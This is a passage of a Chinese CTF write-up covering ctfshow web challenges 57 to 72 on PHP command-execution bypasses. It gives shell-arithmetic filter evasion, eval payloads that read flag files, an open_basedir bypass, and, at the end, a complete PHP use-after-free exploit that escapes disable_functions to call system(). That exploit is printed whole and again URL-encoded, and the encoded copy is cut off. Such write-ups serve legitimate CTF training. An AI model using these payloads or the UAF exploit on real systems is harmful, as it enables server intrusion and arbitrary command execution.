Content-Disposition: form-data; name="submit"

提交
-----------------------------20230392993900287430898846814--

web57

原始信息

//flag in 36.php 
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

解题

这也太狠了,几乎把我见过的全部字符否过滤了……

// 剩下没过滤掉的:& | ^ _ $ {} () ~ @ /
// 这次给到的倒是很全面只要你给个flag就直接给你cat flag。
// 学到了Linux执行命令的新姿势
[root@localhost ~]# echo $()

[root@localhost ~]# echo $(($()))
0
[root@localhost ~]# echo $((~$(())))
-1
[root@localhost ~]# echo $((~$(())))$((~$(())))
-1-1
[root@localhost ~]# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-2

# 下面的${_}是依赖上一步执行的,咋一看有些误导性
[root@localhost ~]# echo ${_}
-2
[root@localhost ~]# echo $((${_}))
-2
[root@localhost ~]# echo $((~$((${_}))))
1

# 实验下其它的:
[root@localhost ~]# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-4
[root@localhost ~]# echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
3

# 从上面可以得出一个结论:想要得到36,只需要把$((~$(())))堆叠37个,再将其反正为36即可
# 即:叠37个$((~$(()))),再给37括一个总的$((~$(())))即可


# 所以答案如下:
/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

其实做这题的时候我看漏了一个信息,是36而不是直接flag字符串。找了半天没找到异或出答案的办法,属于是吃了一记暗亏。

POST命令执行

不单单是POST,还包括了配置文件禁用某些函数。

web58~65

原始信息

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

解题

// 正常测试:
POST:
c=var_dump(scandir(pos(localeconv())));
return:
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

POST:
c=highlight_file('flag.php');
return:
$flag="ctfshow{86b2d209-782f-48f6-80b7-27baa1e5cc3b}";

真的就这样子出结果了?有点假的感觉……

wc,这……是不是在侮辱我的智商??
web58~60怎么是一样的???

后来问了下官方,他们说配置文件里面禁用的函数,代码显示不出来。

但关键点在于,我怎么知道他禁用了哪些?
这个phpinfo()就能查看到了

属于是背地里禁用,你完全不知道罢了。

web66~67

原始信息

配置文件禁用的函数,不会提示

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

解题

实验了下:
exec():执行一个外部程序,并获取输出。
shell_exec():执行命令并获取输出。
passthru():执行命令并直接将输出发送到输出流。
system():执行命令,并显示输出结果。
phpinfo() chr()
这些统统都被禁用了

wc,这是有多幸运啊
不试不知道,一试一身汗

POST:
c=var_dump(scandir('/'));
return:
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }


POST:
c=highlight_file('/flag.txt');
return:
ctfshow{174241d9-e939-4ec7-a989-da6f6e451aeb}

web68

原始信息

http://0e9a8e38-be29-481c-943f-bfa56902f8f8.challenge.ctf.show/

# 好家伙,还真的连源码都不能显示了
# 真狠活
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

解题

// 假设我就是知道它的参数是C,试验下
// 被禁用:
file_get_contents() highlight_file() readfile()
fpassthru(fopen("index.php", "r"))
show_source();

尝试解题

POST:
c=var_dump(scandir('/'));

return:
array(21) {
[0]=>
string(1) "."
...
[6]=>
string(8) "flag.txt"
...
}

# 文件是查到了,怎么读取?
// system系列算是全部封杀了
// 读取文件或者展示文件常见的函数也封杀了
// 咋整?官方给出的是include
# 我:???
POST:
c=include('flag.txt')
return:
ctfshow{5f5f38bd-23c5-4073-b23d-a0d88ca4d505}

// 这里,我猜测它源码应该也是和上面一样的,但至于怎么看phpinfo就不知道了。
// 原本想借此查下源代码
// 没想到有读取的大小限制,查不了。

web69

原始信息

http://0e9a8e38-be29-481c-943f-bfa56902f8f8.challenge.ctf.show/

# 好家伙,还真的连源码都不能显示了
# 真狠活
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

解题

// 假设我就是知道它的参数是C,试验下
// 被禁用:
file_get_contents() highlight_file() readfile()
fpassthru(fopen("index.php", "r"))
show_source() var_dump() print_r()

尝试解题

# 常用的var_dump已经废了,得换个方法查目录
POST:
c=echo(var_export(scandir('/'),true));
return:
array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

# 尝试能不能读取index.php看源码
POST:
c=include('index.php')
return:

致命错误 :/var/www/html/index.php(17) 中允许的内存大小 134217728 字节已耗尽(尝试分配 262144 字节) eval() 代码 行的 :第1

# 那就没办法了,还是只能直接读取flag
POST:
c=include('/flag.txt');
return:
ctfshow{2de464ca-c069-4bcb-acec-a58fb886d099}

web70

原始信息

// 这次属于是一堆报错,读个index.php成功的把我卡闪退了(你真行啊!)

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

解题

# 封禁函数:
增加 include()


# 照例,测目录结构
POST:
c=echo(var_export(scandir('/'),true));
return:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', ) 你要上天吗?

# 麻了,连include都禁掉……
# 看了下WP,没禁掉,是我写错了。啊哈哈哈哈……
# 试试替代品
POST:
c=require('/flag.txt');
return:
ctfshow{e20ed00c-c034-4d14-94f3-5b6796f8aed8}

web71

原始信息

// 这一次居然在WP那里放了个源码
// 想必这题不简单
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

解题

// 果然不简单……
POST:
c=echo(var_export(scandir('/'),true));
return:
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗?
# 问题显而易见,它把所有的输出字符全替换为问号了
# 此时的解法无非两种:要么利用符号显示内容,要么想办法让显示的问号消失。
# 就目前这情况来看,flag.txt依然没变化。
# 但是读取就相当于多了一层屏障,绕过问号
# 官方给出的WP是这样子的:exit();退出,不给它刷新缓冲区
POST:
c=require('/flag.txt');exit();
return:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
ctfshow{8d9059a1-670f-46b5-b6b9-fe5ff2ec8593}

最后再看下罪魁祸首的源码:

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);

// 获取当前输出缓冲区的内容,并将其作为字符串返回。
$s = ob_get_contents();
// 关闭输出缓冲区并丢弃其中的内容,然后恢复到之前的输出状态。
ob_end_clean();
// 正则表达式替换输出
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

新知识:缓冲区刷新。

web72

原始信息

# 依然是报错信息
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?

解题

# 这波都默认参数C已知了
// 测当前目录:
POST:
c=echo(var_export(scandir('.'),true));exit();
return:
array ( 0 => '.', 1 => '..', 2 => 'flag.php', 3 => 'index.php', )
// 测根目录
POST:
c=echo(var_export(scandir('/'),true));exit();
return:
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1
Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1
Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1 '
# 很显然,目录被锁死,需要透过函数进行目录穿越
# glob和file是本地访问文件的url协议。
# DirectoryIterator是PHP遍历指定路径所有文件的类

# 官方给出的办法:
// 绕过open_basedir
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
# 官方还给出了要使用UAF

UAF脚本:

<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

url编码脚本后,传入得到flag

c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%